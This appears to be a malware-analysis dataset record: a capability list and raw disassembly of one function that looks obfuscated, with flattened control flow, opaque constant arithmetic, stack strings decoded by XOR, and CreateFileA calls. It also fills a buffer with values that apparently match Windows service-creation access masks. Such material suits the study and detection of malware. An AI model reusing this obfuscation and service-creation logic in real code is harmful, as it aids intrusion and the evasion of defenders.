Function at 0x18003d543
Capabilities:
Contain obfuscated stackstrings
Encrypt data using chaskey
Hash data using murmur3
Parse pe header

Disassembly:
push rax
pushf
mov eax, 0x91b8beb0
pushf
not eax
add eax, 0x846ecd2c
xor eax, 0x9d14c3d4
rol eax, 0x4e
popf
pushf
not eax
add eax, 0x88261e27
xor eax, 0xe00a837f
rol eax, 0xa2
popf
pushf
not eax
add eax, 0x8225a0c7
xor eax, 0xaf629bc2
rol eax, 0xca
popf
cmp eax, 0x20
jne 0x18003d593
popf
pop rax
jmp 0x18003f3b2
cmp eax, 0
jne 0x18003d5a2
popf
pop rax
jmp 0x18003d791
cmp eax, 3
jne 0x18003d5b1
popf
pop rax
jmp 0x18003d9dd
cmp eax, 1
jne 0x18003d5c0
popf
pop rax
jmp 0x18003d8e6
cmp eax, 0xd
jne 0x18003d5cf
popf
pop rax
jmp 0x18003e33f
cmp eax, 0x1a
jne 0x18003d5de
popf
pop rax
jmp 0x18003efe3
cmp eax, 0xe
jne 0x18003d5ed
popf
pop rax
jmp 0x18003e3f9
cmp eax, 0xb
jne 0x18003d5fc
popf
pop rax
jmp 0x18003e1fb
cmp eax, 0x19
jne 0x18003d60b
popf
pop rax
jmp 0x18003ef4f
cmp eax, 8
jne 0x18003d61a
popf
pop rax
jmp 0x18003dd34
cmp eax, 0x1d
jne 0x18003d629
popf
pop rax
jmp 0x18003f23b
cmp eax, 0x17
jne 0x18003d638
popf
pop rax
jmp 0x18003ee0d
cmp eax, 0x1c
jne 0x18003d647
popf
pop rax
jmp 0x18003f180
cmp eax, 0x12
jne 0x18003d656
popf
pop rax
jmp 0x18003e876
cmp eax, 0x18
jne 0x18003d665
popf
pop rax
jmp 0x18003eea6
cmp eax, 0x11
jne 0x18003d674
popf
pop rax
jmp 0x18003e803
cmp eax, 0x1b
jne 0x18003d683
popf
pop rax
jmp 0x18003f053
cmp eax, 0x21
jne 0x18003d692
popf
pop rax
jmp 0x18003f40d
cmp eax, 0xa
jne 0x18003d6a1
popf
pop rax
jmp 0x18003e017
cmp eax, 0x14
jne 0x18003d6b0
popf
pop rax
jmp 0x18003e956
cmp eax, 0xf
jne 0x18003d6bf
popf
pop rax
jmp 0x18003e47d
cmp eax, 0x13
jne 0x18003d6ce
popf
pop rax
jmp 0x18003e8e6
cmp eax, 0x15
jne 0x18003d6dd
popf
pop rax
jmp 0x18003ebee
cmp eax, 0x22
jne 0x18003d6ec
popf
pop rax
jmp 0x18003f474
cmp eax, 0x1e
jne 0x18003d6fb
popf
pop rax
jmp 0x18003f2e4
cmp eax, 0xc
jne 0x18003d70a
popf
pop rax
jmp 0x18003e2a7
cmp eax, 7
jne 0x18003d719
popf
pop rax
jmp 0x18003dc9d
cmp eax, 5
jne 0x18003d728
popf
pop rax
jmp 0x18003db52
cmp eax, 0x1f
jne 0x18003d737
popf
pop rax
jmp 0x18003f34f
cmp eax, 0x10
jne 0x18003d746
popf
pop rax
jmp 0x18003e4e6
cmp eax, 6
jne 0x18003d755
popf
pop rax
jmp 0x18003dc2b
cmp eax, 9
jne 0x18003d764
popf
pop rax
jmp 0x18003df14
cmp eax, 4
jne 0x18003d773
popf
pop rax
jmp 0x18003da72
cmp eax, 0x16
jne 0x18003d782
popf
pop rax
jmp 0x18003ec8a
cmp eax, 2
jne 0x18003d791
popf
pop rax
jmp 0x18003d967
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x24d0]
mov eax, 0x8833dde6
pushf
not eax
add eax, 0xafa084b9
xor eax, 0xe5494eb3
rol eax, 0x12
popf
pushf
not eax
add eax, 0xcf3d7de0
xor eax, 0xbf652e8e
rol eax, 0x9d
popf
pushf
not eax
add eax, 0x8833b71a
xor eax, 0x9c7ad86c
rol eax, 0x74
popf
pushf
not eax
add eax, 0xc1bf69c1
xor eax, 0x84ecdd6f
rol eax, 0x21
popf
call fcn.180015580
sub rsp, rax
mov r12, rcx
mov r14d, 0xb2d55ed1
pushf
not r14d
add r14d, 0xae54cf6b
xor r14d, 0xb7620e9e
rol r14d, 0x80
popf
pushf
not r14d
add r14d, 0xe6fb2e43
xor r14d, 0x9ad9b03b
rol r14d, 0xb6
popf
mov r8d, r14d
lea rcx, [rbp + 0x10b0]
xor edx, edx
call sub.VCRUNTIME140.dll_memset
jmp 0x18003d84f
call qword [sym.imp.KERNEL32.dll_GetTickCount]
lea r15d, [r14 - 1]
mov r9d, eax
mov edx, r15d
lea r8, [0x1e63634a4]
pushf
sub r8, 0x66348784
popf
lea rcx, [rbp + 0x10b0]
call fcn.18000b96c
or r13, 0xffffffffffffffff
lea rax, [rbp + 0x10b0]
mov rsi, r13
xor ebx, ebx
push rax
pushf
mov eax, 0xa1746ab9
pushf
not eax
add eax, 0x85611e5d
xor eax, 0xd90df174
rol eax, 0xb4
popf
pushf
not eax
add eax, 0xf59815be
xor eax, 0x9873bd0a
rol eax, 0x6d
popf
pushf
not eax
add eax, 0x8da8159a
xor eax, 0xb6a84949
rol eax, 0xe9
popf
pushf
not eax
add eax, 0xe25eca85
xor eax, 0xea9d3e3b
rol eax, 0xee
popf
jmp 0x18003d584
inc rsi
cmp byte [rax + rsi], bl
jne 0x18003d934
push rax
pushf
mov eax, 0x32afc464
pushf
not eax
add eax, 0xe24eec32
xor eax, 0xd8983212
rol eax, 0x55
popf
pushf
not eax
add eax, 0x8fa72b88
xor eax, 0xe99e744e
rol eax, 0xa8
popf
pushf
not eax
add eax, 0xd0d377a0
xor eax, 0xaa948c75
rol eax, 0x9d
popf
jmp 0x18003d584
push rax
pushf
mov eax, 0x9ee3cb99
pushf
not eax
add eax, 0xfa8601eb
xor eax, 0xf1012ef7
rol eax, 0x95
popf
pushf
not eax
add eax, 0xfd7b7c50
xor eax, 0xe88627ec
rol eax, 0xcb
popf
jmp 0x18003d584
mov edi, 0x43474d36
pushf
not edi
add edi, 0xe585e685
xor edi, 0xa6693c3c
rol edi, 1
popf
pushf
not edi
add edi, 0xcfed61d8
xor edi, 0xc73f16f3
rol edi, 0x90
popf
lea rcx, [rbp + 0x11b0]
mov r8, r14
xor edx, edx
push rdi
not edi
sub esi, edi
pop rdi
sub esi, 1
call sub.VCRUNTIME140.dll_memset
mov r9, r12
lea r8, [0x1d44a051d]
pushf
sub r8, 0x544857ed
popf
mov rdx, r15
lea rcx, [rbp + 0x11b0]
call fcn.18000b96c
lea rax, [rbp + 0x11b0]
mov r14, r13
inc r14
cmp byte [rax + r14], bl
jne 0x18003da2c
push rax
pushf
mov eax, 0x271ba37b
pushf
not eax
add eax, 0xdf6de416
xor eax, 0xb1c68d0e
rol eax, 0xdc
popf
pushf
not eax
add eax, 0xbd99b679
xor eax, 0xf023267c
rol eax, 0x6f
popf
pushf
not eax
add eax, 0x90ec3a6a
xor eax, 0xe8fa72d8
rol eax, 0x1a
popf
jmp 0x18003d584
push rax
pushf
mov eax, 0x6eabc2f3
pushf
not eax
add eax, 0xafbeccd2
xor eax, 0xf236487c
rol eax, 0x86
popf
pushf
not eax
add eax, 0xea14a2bc
xor eax, 0xbee699e3
rol eax, 0x2c
popf
pushf
not eax
add eax, 0xfddfd07e
xor eax, 0xd3a10698
rol eax, 0x20
popf
jmp 0x18003d584
mov dword [rbp - 0x74], 0x15
push rdi
not edi
sub r14d, edi
pop rdi
sub r14d, 1
mov byte [rbp - 0x70], 0x26
xor eax, eax
mov byte [rbp - 0x6f], 0x23
mov r8, rbx
mov byte [rbp - 0x6e], 0x22
mov byte [rbp - 0x6d], reloc.WS2_32.dll_WSACleanup
mov byte [rbp - 0x6c], 0x77
mov byte [rbp - 0x6b], 0x77
mov byte [rbp - 0x6a], 0x2d
mov byte [rbp - 0x69], 0x24
mov byte [rbp - 0x68], 0x38
mov byte [rbp - 0x67], 0x2c
mov byte [rbp - 0x66], 0x2d
mov byte [rbp - 0x65], 0x21
mov byte [rbp - 0x64], 0x21
mov byte [rbp - 0x63], 0x38
mov byte [rbp - 0x62], 0x26
mov byte [rbp - 0x61], 0x20
mov byte [rbp - 0x60], reloc.WS2_32.dll_WSAStartup
mov byte [rbp - 0x5f], 0x24
mov byte [rbp - 0x5e], 0x38
mov byte [rbp - 0x5d], reloc.WS2_32.dll_WSACleanup
mov byte [rbp - 0x5c], WSAStartup
mov byte [rbp - 0x5b], 0x26
mov byte [rbp - 0x5a], 0x27
mov byte [rbp - 0x59], 0x38
mov byte [rbp - 0x58], 0x2c
mov byte [rbp - 0x57], 0x2d
mov byte [rbp - 0x56], reloc.WS2_32.dll_WSAStartup
mov byte [rbp - 0x55], 0x25
mov byte [rbp - 0x54], 0x26
mov byte [rbp - 0x53], 0x2d
mov byte [rbp - 0x52], 0x25
mov byte [rbp - 0x51], 0x25
mov byte [rbp - 0x50], 0x24
mov byte [rbp - 0x4f], 0x25
mov byte [rbp - 0x4e], 0x25
mov byte [rbp - 0x4d], 0x26
mov byte [rbp - 0x4c], al
mov al, byte [rbp - 0x70]
push rax
pushf
mov eax, 0xf468e874
pushf
not eax
add eax, 0xf42a15e4
xor eax, 0xf50a2386
rol eax, 0x39
popf
pushf
not eax
add eax, 0xbce4b41e
xor eax, 0xeae71e00
rol eax, 0x4d
popf
jmp 0x18003d584
movsx edx, byte [rbp + r8 - 0x70]
mov eax, dword [rbp - 0x74]
movsx ecx, al
mov eax, edx
xor eax, ecx
mov byte [rbp + r8 - 0x70], al
push rdi
not rdi
sub r8, rdi
pop rdi
sub r8, 1
cmp r8, 0x24
jb 0x18003dbd2
push rax
pushf
mov eax, 0x41a25c85
pushf
not eax
add eax, 0xf2ab4143
xor eax, 0xf40eb48d
rol eax, 0x39
popf
pushf
not eax
add eax, 0xcd75aded
xor eax, 0xf8e9a738
rol eax, 0xbf
popf
pushf
not eax
add eax, 0xb0a2d0df
xor eax, 0x97b98b8d
rol eax, 0xd3
popf
pushf
not eax
add eax, 0xe3652d9b
xor eax, 0xb215a2d8
rol eax, 0xf8
popf
jmp 0x18003d584
push rax
pushf
mov eax, 0x27546be1
pushf
not eax
add eax, 0xbb4b1996
xor eax, 0x8f6a8e9c
rol eax, 0xca
popf
pushf
not eax
add eax, 0xa3988dbe
xor eax, 0xac93545b
rol eax, 0x1d
popf
pushf
not eax
add eax, 0xcb4e3b35
xor eax, 0xda6df013
rol eax, 0xce
popf
pushf
not eax
add eax, 0x9751ace5
xor eax, 0xe2515497
rol eax, 0x78
popf
jmp 0x18003d584
mov byte [rbp - 0x4c], bl
mov rdx, rbx
mov byte [rsp + 0x6c], 0x79
mov byte [rsp + 0x6d], 0x7f
mov byte [rsp + 0x6e], 0x7e
mov byte [rsp + 0x6f], 0x81
mov byte [rsp + 0x70], 0x6e
mov byte [rsp + 0x71], 0x7e
mov byte [rsp + 0x72], bl
mov al, byte [rsp + 0x6c]
push rax
pushf
mov eax, 0x97e64d70
pushf
not eax
add eax, 0xc4fd96c6
xor eax, 0x815c5155
rol eax, 0xd7
popf
pushf
not eax
add eax, 0x9b3e52f0
xor eax, 0x984a0aa3
rol eax, 0xdf
popf
pushf
not eax
add eax, 0xb471ce2d
xor eax, 0xb320ba74
rol eax, 0xbd
popf
jmp 0x18003d584
movsx ecx, byte [rsp + rdx + 0x6c]
sub ecx, 0xb
mov byte [rsp + rdx + 0x6c], cl
push rdi
not rdi
sub rdx, rdi
pop rdi
sub rdx, 1
cmp rdx, 6
jb 0x18003dd01
push rax
pushf
mov eax, 0x1801c8bd
pushf
not eax
add eax, 0xb7b6706d
xor eax, 0xeff42f6a
rol eax, 0xc0
popf
pushf
not eax
add eax, 0xa7319ba6
xor eax, 0x9d738d2f
rol eax, 0x13
popf
pushf
not eax
add eax, 0xab216d30
xor eax, 0xaca4113b
rol eax, 0xfe
popf
jmp 0x18003d584
push rax
pushf
mov eax, 0x48848295
pushf
not eax
add eax, 0xc9a7abb8
xor eax, 0x92349686
rol eax, 0xf4
popf
pushf
not eax
add eax, 0xb03900aa
xor eax, 0xb5f60f2e
rol eax, 0x32
popf
jmp 0x18003d584
xor edx, edx
lea rcx, [rbp + 0x12b0]
mov r8d, 0x94c7b48d
pushf
not r8d
add r8d, 0xa1a76e82
xor r8d, 0xcc38a23b
rol r8d, 0xaf
popf
pushf
not r8d
add r8d, 0xae3b8182
xor r8d, 0xdfe0c2c2
rol r8d, 0x53
popf
pushf
not r8d
add r8d, 0x92bc9ebe
xor r8d, 0xe040c617
rol r8d, 0x5a
popf
pushf
not r8d
add r8d, 0x9525bef4
xor r8d, 0xbed56d47
rol r8d, 0x25
popf
call sub.VCRUNTIME140.dll_memset
lea r9, [rsp + 0x6c]
mov edx, 0xf639b238
pushf
not edx
add edx, 0xd6bdfe2a
xor edx, 0x8c355a78
rol edx, 0xaa
popf
pushf
not edx
add edx, 0xdf005389
xor edx, 0xe6ba2dd1
rol edx, 0xa6
popf
lea r8, [0x1e9a4fe86]
pushf
sub r8, 0x69a35176
popf
lea rcx, [rbp + 0x12b0]
call fcn.18000b96c
mov qword [rsp + 0x30], rbx
lea rcx, [rbp + 0x12b0]
mov dword [rsp + 0x28], ebx
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 3
mov edx, 0xdf47927d
pushf
not edx
add edx, 0xaef5982d
xor edx, 0xdc5cad9c
rol edx, 0x66
popf
pushf
not edx
add edx, 0x8f0cb6e1
xor edx, 0x838abf1f
rol edx, 0xb0
popf
pushf
not edx
add edx, 0x87c56735
xor edx, 0xebd1c8af
rol edx, 0x25
popf
pushf
not edx
add edx, 0xd4511510
xor edx, 0xb1db589c
rol edx, 0x6d
popf
jmp 0x18003de76
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov r15, rax
cmp rax, r13
je 0x18003debb
push rax
pushf
mov eax, 0xc4fbe484
pushf
not eax
add eax, 0x90194846
xor eax, 0x9a3e4930
rol eax, 0x47
popf
pushf
not eax
add eax, 0x8f6180f8
xor eax, 0xfdcc096f
rol eax, 0x5b
popf
jmp 0x18003d584
push rax
pushf
mov eax, 0x41aa9c28
pushf
not eax
add eax, 0xc222424d
xor eax, 0xac7bbfe9
rol eax, 0x80
popf
pushf
not eax
add eax, 0xbe11f2ef
xor eax, 0xaaf17661
rol eax, 0xc1
popf
pushf
not eax
add eax, 0xf88a5dee
xor eax, 0x806bb19f
rol eax, 0x66
popf
pushf
not eax
add eax, 0xb15c622e
xor eax, 0xfe00a5ac
rol eax, 0x2e
popf
jmp 0x18003d584
xor edx, edx
lea rcx, [rbp + 0x14bc]
mov r8d, 0x56da5a93
pushf
not r8d
add r8d, 0xa9995c2b
xor r8d, 0x8c780038
rol r8d, 0xc5
popf
pushf
not r8d
add r8d, 0xeef13d0a
xor r8d, 0xced8c0f2
rol r8d, 0x9b
popf
pushf
not r8d
add r8d, 0x9e524de2
xor r8d, 0xef11bff7
rol r8d, 0x75
popf
pushf
not r8d
add r8d, 0xe840a6b1
xor r8d, 0x9dc59368
rol r8d, 0x4e
popf
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp - 0x70]
mov qword [rbp + 0x14b0], r15
lea rcx, [rbp + 0x14b0]
mov dword [rbp + 0x14b8], edi
call fcn.180033ba3
test eax, eax
jne 0x18003dfe4
push rax
pushf
mov eax, 0xcc457c97
pushf
not eax
add eax, 0xfe5ef68c
xor eax, 0x86aaf95a
rol eax, 0xbc
popf
pushf
not eax
add eax, 0x988843fb
xor eax, 0xfd3d0bf0
rol eax, 0x85
popf
jmp 0x18003d584
push rax
pushf
mov eax, 0xd6e88a2a
pushf
not eax
add eax, 0x9acbd1a3
xor eax, 0xf042267c
rol eax, 0x53
popf
pushf
not eax
add eax, 0xd9cc839a
xor eax, 0xd1aa6e8e
rol eax, 0x56
popf
jmp 0x18003d584
mov r8d, 0xa695049
pushf
not r8d
add r8d, 0xa81c76fd
xor r8d, 0x8f8b216a
rol r8d, 5
popf
pushf
not r8d
add r8d, 0xe3b71cdb
xor r8d, 0x9cbe31b8
rol r8d, 0x79
popf
lea rdx, [rbp + 0x14b0]
lea rcx, [rbp + 0x90]
call sub.VCRUNTIME140.dll_memcpy
mov r13d, 0xbb9ae03f
pushf
not r13d
add r13d, 0x9928907e
xor r13d, 0xdc848fc5
rol r13d, 7
popf
pushf
not r13d
add r13d, 0xf8a410aa
xor r13d, 0xa35df29c
rol r13d, 0x9c
popf
pushf
not r13d
add r13d, 0xe7e1bf67
xor r13d, 0x8a6c215b
rol r13d, 0x87
popf
lea rcx, [rbp + 0xa4]
mov r8d, r13d
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov r8d, r13d
mov dword [rbp + 0x8a4], ebx
xor edx, edx
lea rcx, [rbp + 0x8a8]
call sub.VCRUNTIME140.dll_memset
mov r15d, 0x6674d1b4
pushf
not r15d
add r15d, 0xab3d6402
xor r15d, 0x85e48bfd
rol r15d, 0x32
popf
pushf
not r15d
add r15d, 0xf30bf891
xor r15d, 0x8c48f3e2
rol r15d, 0x61
popf
mov dword [rbp + 0x10a8], ebx
mov r8d, r15d
mov dword [rbp + 0x9c], ebx
lea rdx, [rbp + 0x2518]
mov dword [rbp + 0xa0], edi
lea rcx, [rbp + 0x90]
mov dword [rbp + 0x2518], ebx
call fcn.18000be44
mov r8d, r15d
mov dword [rbp + 0x2520], ebx
lea rdx, [rbp + 0x2520]
lea rcx, [rbp + 0x90]
call fcn.18000be44
mov r8d, r15d
mov dword [rbp + 0x2528], 0xf003f
lea rdx, [rbp + 0x2528]
lea rcx, [rbp + 0x90]
call fcn.18000be44
lea edx, [r15 + 0x17]
lea rcx, [rbp + 0x90]
call fcn.18000bcac
test eax, eax
jne 0x18003e1c8
push rax
pushf
mov eax, 0xadf13793
pushf
not eax
add eax, 0xa12f9e39
xor eax, 0x8527efc2
rol eax, 0x5d
popf
pushf
not eax
add eax, 0xd04b1bf9
xor eax, 0xe187eada
rol eax, 0x3f
popf
jmp 0x18003d584
push rax
pushf
mov eax, 0x245445f6
pushf
not eax
add eax, 0xa8a960b6
xor eax, 0xd72e51ba
rol eax, 0xf8
popf
pushf
not eax
add eax, 0xe6e6401d
xor eax, 0xe192c0f1
rol eax, 0xfb
popf
jmp 0x18003d584
cmp dword [rbp + 0x10a8], 0x18
jne 0x18003e261
push rax
pushf
mov eax, 0xce95144b
pushf
not eax
add eax, 0xb6188ad1
xor eax, 0xe1b4e94f
rol eax, 0x26
popf
pushf
not eax
add eax, 0xbc54c949
xor eax, 0xbdf4cbbd
rol eax, 0xff
popf
pushf
not eax
add eax, 0xcae939bc
xor eax, 0xcac0fe01
rol eax, 0xe8
popf
pushf
not eax
add eax, 0xd208c4cc
xor eax, 0xf433c540
rol eax, 0x1c
popf
jmp 0x18003d584
push rax
pushf
mov eax, 0xc9fed9ae
pushf
not eax
add eax, 0xf7b1fe11
xor eax, 0xe6b5ed13
rol eax, 0x8a
popf
pushf
not eax
add eax, 0xc441a274
xor eax, 0x8a6c29d9
rol eax, 0x90
popf
pushf
not eax
add eax, 0xa6d13ba6
xor eax, 0xb433392e
rol eax, 0x18
popf
jmp 0x18003d584
cmp dword [rbp + 0x8bc], ebx
je 0x18003e2f9
push rax
pushf
mov eax, 0x378f7240
pushf
not eax
add eax, 0xe8769ee2
xor eax, 0xbaf1dab9
rol eax, 0x80
popf
pushf
not eax
add eax, 0x87447e02
xor eax, 0xe492c1b4
rol eax, 0x92
popf
pushf
not eax
add eax, 0xb055088f
xor eax, 0x8cdea191
rol eax, 7
popf
jmp 0x18003d584
push rax
pushf
mov eax, 0x3f6246e7
pushf
not eax
add eax, 0xc076ef09
xor eax, 0xb52cb560
rol eax, 0xcd
popf
pushf
not eax
add eax, 0xf672fd21
xor eax, 0xefae385e
rol eax, 0x6e
popf
pushf
not eax
add eax, 0xf8165ee8
xor eax, 0xbc60978e
rol eax, 0xf2
popf
jmp 0x18003d584
mov byte [rsp + 0x73], 0x51
mov byte [rsp + 0x74], WSAStartup
mov byte [rsp + 0x75], 0x67
mov byte [rsp + 0x76], WSAStartup
mov byte [rsp + 0x77], 0x55
mov byte [rsp + 0x78], 0x45
mov byte [rsp + 0x79], 0x4f
mov byte [rsp + 0x7a], 0x63
mov byte [rsp + 0x7b], WSAStartup
mov byte [rsp + 0x7c], 0x63
mov byte [rsp + 0x7d], 0x69
mov byte [rsp + 0x7e], 0x67
mov byte [rsp + 0x7f], reloc.WS2_32.dll_WSACleanup
mov byte [rbp - 0x80], 0x22
mov byte [rbp - 0x7f], 0x67
mov byte [rbp - 0x7e], reloc.WS2_32.dll_WSACleanup
mov byte [rbp - 0x7d], reloc.WS2_32.dll_WSACleanup
mov byte [rbp - 0x7c], WSAStartup
mov byte [rbp - 0x7b], reloc.WS2_32.dll_WSACleanup
mov byte [rbp - 0x7a], 0x3c
mov byte [rbp - 0x79], 0x22
mov byte [rbp - 0x78], 0x27
mov byte [rbp - 0x77], 0x77
mov byte [rbp - 0x76], 0xc
mov byte [rbp - 0x75], bl
mov al, byte [rsp + 0x73]
push rax
pushf
mov eax, 0x8906050a
pushf
not eax
add eax, 0xe712b7ca
xor eax, 0x8831a806
rol eax, 0x8e
popf
pushf
not eax
add eax, 0xa0dbf0d0
xor eax, 0x9cfa0448
rol eax, 0xf5
popf
pushf
not eax
add eax, 0x8eeee387
xor eax, 0xadd60877
rol eax, 0xbc
popf
jmp 0x18003d584
movsx ecx, byte [rsp + rbx + 0x73]
sub ecx, 2
mov byte [rsp + rbx + 0x73], cl
push rdi
not rdi
sub rbx, rdi
pop rdi
sub rbx, 1
cmp rbx, 0x18
jb 0x18003e44a
push rax
pushf
mov eax, 0x1f4caccd
pushf
not eax
add eax, 0xfb9c4da9
xor eax, 0xa27fdb7b
rol eax, 0xd
popf
pushf
not eax
add eax, 0xd4b97f9f
xor eax, 0xc542efd8
rol eax, 0x11
popf
jmp 0x18003d584
push rax
pushf
mov eax, 0xfc716b6a
pushf
not eax
add eax, 0xa1345ca3
xor eax, 0xb2f14a73
rol eax, 0x8f
popf
pushf
not eax
add eax, 0xba605738
xor eax, 0xacbacc1e
rol eax, 0xa5
popf
jmp 0x18003d584
mov edx, dword [rbp + 0x8bc]
lea rcx, [rsp + 0x73]
jmp 0x18003f34f
movups xmm0, xmmword [rbp + 0x8a8]
mov eax, dword [rbp + 0x8b8]
lea rcx, [rbp + 0xa4]
mov r8, r13
mov dword [rbp + 0x80], eax
xor edx, edx
movups xmmword [rbp + 0x70], xmm0
call sub.VCRUNTIME140.dll_memset
mov r8, r13
mov dword [rbp + 0x8a4], ebx
xor edx, edx
lea rcx, [rbp + 0x8a8]
call sub.VCRUNTIME140.dll_memset
mov r8d, 0x23407baf
pushf
not r8d
add r8d, 0xf550c2fd
xor r8d, 0xe3358b0e
rol r8d, 0x10
popf
pushf
not r8d
add r8d, 0xb0a3074f
xor r8d, 0xe40fd629
rol r8d, 0xe
popf
mov dword [rbp + 0x10a8], ebx
lea rdx, [rbp + 0x70]
mov dword [rbp + 0x9c], ebx
lea rcx, [rbp + 0x90]
mov dword [rbp + 0xa0], edi
call fcn.18000be44
mov r8d, r15d
mov dword [rbp - 0x48], esi
lea rdx, [rbp - 0x48]
lea rcx, [rbp + 0x90]
call fcn.18000be44
mov r8d, r15d
mov dword [rbp - 0x40], ebx
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x90]
call fcn.18000be44
mov r8d, r15d
mov dword [rbp - 0x38], esi
lea rdx, [rbp - 0x38]
lea rcx, [rbp + 0x90]
call fcn.18000be44
mov r8d, esi
lea rdx, [rbp + 0x10b0]
lea rcx, [rbp + 0x90]
call fcn.18000be44
mov r8d, r15d
mov dword [rbp - 0x30], ebx
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0x90]
call fcn.18000be44
mov r8d, r15d
mov dword [rbp - 0x28], 0xf01ff
lea rdx, [rbp - 0x28]
lea rcx, [rbp + 0x90]
call fcn.18000be44
mov r8d, r15d
mov dword [rbp - 0x20], 0x10
lea rdx, [rbp - 0x20]
lea rcx, [rbp + 0x90]
call fcn.18000be44
mov r8d, r15d
mov dword [rbp - 0x18], 3
lea rdx, [rbp - 0x18]
lea rcx, [rbp + 0x90]
call fcn.18000be44
mov r8d, r15d
mov dword [rbp - 0x10], ebx
lea rdx, [rbp - 0x10]
lea rcx, [rbp + 0x90]
call fcn.18000be44
mov r8d, r15d
mov dword [rbp - 8], r14d
lea rdx, [rbp - 8]
lea rcx, [rbp + 0x90]
call fcn.18000be44
mov r8d, r15d
mov dword [rbp], ebx
lea rdx, [rbp]
lea rcx, [rbp + 0x90]
call fcn.18000be44
mov r8d, r15d
mov dword [rbp + 8], r14d
lea rdx, [rbp + 8]
lea rcx, [rbp + 0x90]
call fcn.18000be44
mov r8d, r14d
lea rdx, [rbp + 0x11b0]
lea rcx, [rbp + 0x90]
call fcn.18000be44
mov r8d, r15d
mov dword [rbp + 0x10], ebx
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x90]
call fcn.18000be44
mov r8d, r15d
mov dword [rbp + 0x18], ebx
lea rdx, [rbp + 0x18]
lea rcx, [rbp + 0x90]
call fcn.18000be44
mov r8d, r15d
mov dword [rbp + 0x20], ebx
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x90]
call fcn.18000be44
mov r8d, r15d
mov dword [rbp + 0x28], ebx
lea rdx, [rbp + 0x28]
lea rcx, [rbp + 0x90]
call fcn.18000be44
mov r8d, r15d
mov dword [rbp + 0x30], ebx
lea rdx, [rbp + 0x30]
lea rcx, [rbp + 0x90]
call fcn.18000be44
mov r8d, r15d
mov dword [rbp + 0x38], ebx
lea rdx, [rbp + 0x38]
lea rcx, [rbp + 0x90]
call fcn.18000be44
mov r8d, r15d
mov dword [rbp + 0x40], ebx
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0x90]
call fcn.18000be44
mov edx, 0x84bcefe1
pushf
not edx
add edx, 0xd995412e
xor edx, 0x8b299815
rol edx, 0x77
popf
pushf
not edx
add edx, 0xe97d5144
xor edx, 0x9e70545a
rol edx, 0xe6
popf
pushf
not edx
add edx, 0x97654056
xor edx, 0xd9a23eed
rol edx, 0xec
popf
lea rcx, [rbp + 0x90]
call fcn.18000bcac
test eax, eax
jne 0x18003e7d0
push rax
pushf
mov eax, 0x77d09d48
pushf
not eax
add eax, 0xeda1c061
xor eax, 0x856213fe
rol eax, 0x16
popf
pushf
not eax
add eax, 0xf724fdc3
xor eax, 0xbd6af0f6
rol eax, 0xd3
popf
jmp 0x18003d584
push rax
pushf
mov eax, 0xff086528
pushf
not eax
add eax, 0xab59f7ca
xor eax, 0xb9e92b4c
rol eax, 0x77
popf
pushf
not eax
add eax, 0x90097781
xor eax, 0x89fe9b24
rol eax, 0xc9
popf
jmp 0x18003d584
cmp dword [rbp + 0x10a8], 0x1c
jne 0x18003e843
push rax
pushf
mov eax, 0x23641008
pushf
not eax
add eax, 0xd35db40f
xor eax, 0xe252c451
rol eax, 0x97
popf
pushf
not eax
add eax, 0xb2db15de
xor eax, 0x87344024
rol eax, 0xc1
popf
jmp 0x18003d584
push rax
pushf
mov eax, 0xaf43e755
pushf
not eax
add eax, 0x9fe5ce4d
xor eax, 0xdb780a6b
rol eax, 0x48
popf
pushf
not eax
add eax, 0xbcdadfb2
xor eax, 0xa0ee4386
rol eax, 0xa7
popf
jmp 0x18003d584
mov edx, dword [rbp + 0x8c0]
test edx, edx
je 0x18003e8b3
push rax
pushf
mov eax, 0x503e52ac
pushf
not eax
add eax, 0xfddfe73d
xor eax, 0xff00c538
rol eax, 0x35
popf
pushf
not eax
add eax, 0x86e76394
xor eax, 0x91dd0f6d
rol eax, 0xc2
popf
jmp 0x18003d584
push rax
pushf
mov eax, 0x40c46ac6
pushf
not eax
add eax, 0xb97fdbd4
xor eax, 0x8483a354
rol eax, 0x3d
popf
pushf
not eax
add eax, 0xae7727fd
xor eax, 0xcef00db1
rol eax, 0x85
popf
jmp 0x18003d584
lea rcx, [0x1cc78c161]
pushf
sub rcx, 0x4c771421
popf
jmp 0x18003f34f
mov eax, dword [rbp + 0x8bc]
mov ecx, 0x8cd2145f
pushf
not ecx
add ecx, 0xafda797b
xor ecx, 0xc4fffa8b
rol ecx, 0x63
popf
pushf
not ecx
add ecx, 0xeade9be1
xor ecx, 0xab319f59
rol ecx, 0x51
popf
mov dword [rbp + 0x68], eax
movups xmm0, xmmword [rbp + 0x8ac]
movups xmmword [rbp + 0x58], xmm0
mov dword [rsp + 0x40], 0x4c
mov eax, dword [rsp + 0x40]
xor eax, 0x5b
mov byte [rsp + 0x44], al
mov eax, dword [rsp + 0x40]
add al, dil
xor eax, 0x52
mov byte [rsp + 0x45], al
mov eax, dword [rsp + 0x40]
add al, 2
xor eax, 0x50
mov byte [rsp + 0x46], al
mov eax, dword [rsp + 0x40]
add al, 3
xor eax, 0x43
mov byte [rsp + 0x47], al
mov eax, dword [rsp + 0x40]
add al, r15b
xor eax, 0x5d
mov byte [rsp + 0x48], al
mov eax, dword [rsp + 0x40]
add al, 5
xor eax, ecx
mov byte [rsp + 0x49], al
mov eax, dword [rsp + 0x40]
add al, 6
xor eax, 0x45
mov byte [rsp + 0x4a], al
mov eax, dword [rsp + 0x40]
add al, 7
xor eax, 0x78
mov byte [rsp + 0x4b], al
mov eax, dword [rsp + 0x40]
add al, 8
xor eax, 0x65
mov byte [rsp + 0x4c], al
mov eax, dword [rsp + 0x40]
add al, 9
xor eax, 0x63
mov byte [rsp + 0x4d], al
mov eax, dword [rsp + 0x40]
add al, 0xa
xor eax, 0x75
mov byte [rsp + 0x4e], al
mov eax, dword [rsp + 0x40]
add al, 0xb
xor eax, 0x74
mov byte [rsp + 0x4f], al
mov eax, dword [rsp + 0x40]
add al, 0xc
xor eax, 0x69
mov byte [rsp + 0x50], al
